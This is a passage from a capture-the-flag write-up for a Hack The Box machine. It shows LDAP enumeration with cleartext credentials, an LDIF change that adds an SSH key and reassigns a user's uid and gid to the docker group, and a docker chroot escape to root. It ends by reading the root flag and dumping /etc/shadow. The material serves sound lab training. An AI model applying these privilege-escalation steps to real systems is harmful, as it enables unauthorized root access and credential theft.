$ ldapsearch -H ldap://ldap.travel.htb -x -D 'cn=lynik-admin,dc=travel,dc=htb' -w
↳ Theroadlesstraveled
# extended LDIF
#
# LDAPv3
# base <dc=travel,dc=htb> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# travel.htb
dn: dc=travel,dc=htb
objectClass: top
objectClass: dcObject
objectClass: organization
o: Travel.HTB
dc: travel
# admin, travel.htb
```

```
dn: cn=admin,dc=travel,dc=htb
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator

# servers, travel.htb
dn: ou=servers,dc=travel,dc=htb
description: Servers
objectClass: organizationalUnit
ou: servers

# lynik-admin, travel.htb
dn: cn=lynik-admin,dc=travel,dc=htb
description: LDAP administrator
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: lynik-admin
userPassword:: e1NTSEF9MEpaelF3bLZJNEZrcXRUA3pRWUxVY3ZkN1NwRjFRYkRjVFJta3c9PQ=
=

# workstations, travel.htb
dn: ou=workstations,dc=travel,dc=htb
description: Workstations
objectClass: organizationalUnit
ou: workstations

# linux, servers, travel.htb
dn: ou=linux,ou=servers,dc=travel,dc=htb
description: Linux Servers
objectClass: organizationalUnit
ou: linux

# windows, servers, travel.htb
dn: ou=windows,ou=servers,dc=travel,dc=htb
description: Windows Servers
objectClass: organizationalUnit
ou: windows

# users, linux, servers, travel.htb
dn: ou=users,ou=linux,ou=servers,dc=travel,dc=htb
description: Linux Users
objectClass: organizationalUnit
ou: users

# groups, linux, servers, travel.htb
dn: ou=groups,ou=linux,ou=servers,dc=travel,dc=htb
description: Linux Groups
objectClass: organizationalUnit
ou: groups

# jane, users, linux, servers, travel.htb
dn: uid=jane,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
```

```
uid: jane
cn: Jane Rodriguez
sn: Rodriguez
givenName: Jane
loginShell: /bin/bash
uidNumber: 5005
gidNumber: 5000
homeDirectory: /home/jane
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount

# brian, users, linux, servers, travel.htb
dn: uid=brian,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: brian
cn: Brian Bell
sn: Bell
givenName: Brian
loginShell: /bin/bash
uidNumber: 5002
gidNumber: 5000
homeDirectory: /home/brian
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount

# frank, users, linux, servers, travel.htb
dn: uid=frank,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: frank
cn: Frank Stewart
sn: Stewart
givenName: Frank
loginShell: /bin/bash
uidNumber: 5001
gidNumber: 5000
homeDirectory: /home/frank
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount

# jerry, users, linux, servers, travel.htb
dn: uid=jerry,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: jerry
uidNumber: 5006
```



```
homeDirectory: /home/jerry
givenName: Jerry
gidNumber: 5000
sn: Morgan
cn: Jerry Morgan
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash

# lynik, users, linux, servers, travel.htb
dn: uid=lynik,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: lynik
uidNumber: 5000
homeDirectory: /home/lynik
givenName: Lynik
gidNumber: 5000
sn: Schmidt
cn: Lynik Schmidt
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash

# edward, users, linux, servers, travel.htb
dn: uid=edward,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: edward
uidNumber: 5009
homeDirectory: /home/edward
givenName: Edward
gidNumber: 5000
sn: Roberts
cn: Edward Roberts
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash

# eugene, users, linux, servers, travel.htb
dn: uid=eugene,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: eugene
cn: Eugene Scott
sn: Scott
givenName: Eugene
```

```
loginShell: /bin/bash
uidNumber: 5008
gidNumber: 5000
homeDirectory: /home/eugene
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount

# gloria, users, linux, servers, travel.htb
dn: uid=gloria,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: gloria
uidNumber: 5010
homeDirectory: /home/gloria
givenName: Gloria
gidNumber: 5000
sn: Wood
cn: Gloria Wood
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash

# johnny, users, linux, servers, travel.htb
dn: uid=johnny,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: johnny
cn: Johnny Miller
sn: Miller
givenName: Johnny
loginShell: /bin/bash
uidNumber: 5004
gidNumber: 5000
homeDirectory: /home/johnny
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount

# louise, users, linux, servers, travel.htb
dn: uid=louise,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: louise
cn: Louise Griffin
sn: Griffin
givenName: Louise
loginShell: /bin/bash
uidNumber: 5007
```

```
gidNumber: 5000
homeDirectory: /home/louise
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount

# christopher, users, linux, servers, travel.htb
dn: uid=christopher,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
uid: christopher
uidNumber: 5003
homeDirectory: /home/christopher
givenName: Christopher
gidNumber: 5000
sn: Ward
cn: Christopher Ward
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
loginShell: /bin/bash

# domainusers, groups, linux, servers, travel.htb
dn: cn=domainusers,ou=groups,ou=linux,ou=servers,dc=travel,dc=htb
memberUid: frank
memberUid: brian
memberUid: christopher
memberUid: johnny
memberUid: julia
memberUid: jerry
memberUid: louise
memberUid: eugene
memberUid: edward
memberUid: gloria
memberUid: lynik
gidNumber: 5000
cn: domainusers
objectClass: top
objectClass: posixGroup

# search result
search: 2
result: 0 Success

# numResponses: 22
# numEntries: 21
```

By the way, since the hostname, base & bind dn are specified inside `.ldaprc` we can enter

`ldapsearch -x -w Theroadlesstraveled` instead of the full command.

It seems our account is LDAP admin so we can configure it.

Let's see interesting groups:

```
$ cat /etc/group | grep trvl
adm:x:4:syslog,trvl-admin
cdrom:x:24:trvl-admin
sudo:x:27:trvl-admin
dip:x:30:trvl-admin
plugdev:x:46:trvl-admin
lxd:x:116:trvl-admin
trvl-admin:x:1000:

$ cat /etc/group | grep docker
docker:x:117:
```

Then we can add a key to a user and change it's base groupe to docker & user to trvl-admin (not required).

```
dn: uid=louise,ou=users,ou=linux,ou=servers,dc=travel,dc=htb
changeType: modify
add: objectClass
objectClass: ldapPublicKey
-
add: sshPublicKey
sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQDC/yatK67NXLmgt1LepjDbW2b7lE
-
replace: gidNumber
gidNumber: 117
-
replace: uidNumber
uidNumber: 1000
```

Then we can connect via SSH because the SSHD config is the following:

```
$ cat /etc/ssh/sshd_config | grep -v '#'
Include /etc/ssh/sshd_config.d/*.conf
AuthorizedKeysCommand /usr/bin/sss_ssh_authorizedkeys
AuthorizedKeysCommandUser nobody
ChallengeResponseAuthentication no
UsePAM yes
X11Forwarding yes
```

```
PrintMotd no
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
PasswordAuthentication no
Match User trvl-admin,lynik-admin
    PasswordAuthentication yes
```

```
$ ssh -i ~/.ssh/id_rsa louise@travel.htb
trvl-admin@travel:/$ id
uid=1000(trvl-admin) gid=117(docker) groups=117(docker),5000(domainusers)
```

Then let's see images available in docker:

```
trvl-admin@travel:/$ docker images
```

REPOSITORY	TAG	IMAGE ID	CREATED	SIZE
nginx	latest	602e111c06b6	4 months ago	127MB
memcached	latest	ac4488374c89	4 months ago	82.3MB
blog	latest	4225bf7c5157	4 months ago	981MB
ubuntu	18.04	4e5021d210f6	5 months ago	64.2MB
jwilder/nginx-proxy	alpine	a7a1c0b44c8a	7 months ago	54.6MB
osixia/openldap	latest	4c780dfa5f5e	11 months ago	275M

Now that we are in the docker group it's easy EoP thanks to [gtfobins](#). By the way we can search gtfobins locally via two CLI tools: [gtfo](#) and [gtfoblookup](#).

```
$ gtfo -b docker
...
# The resulting is a root shell.
Code:  docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Type:  shell
...

$ gtfoblookup linux shell docker
docker:

    shell:

        Description: The resulting is a root shell.
        Code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

```
trvl-admin@travel:/$ docker run -v /:/mnt --rm -it ubuntu:18.04 chroot /mnt bash
root@d9ba81203eb5:/# id
uid=0(root) gid=0(root) groups=0(root)
root@d9ba81203eb5:/# cat /root/root.txt
189d55aa326f561c68c69a547ba2df0f
root@d9ba81203eb5:/# cat /etc/shadow | grep root
root:$6$p6a8fCN5/L4rm3FA$bwV15SC9j7QwaRwoInptinKydaRp903826E8QLFyrVmJxoaIvs6A.Aw7Z/VCRgGXu0cjLYfmznespEhTS8ZUe
```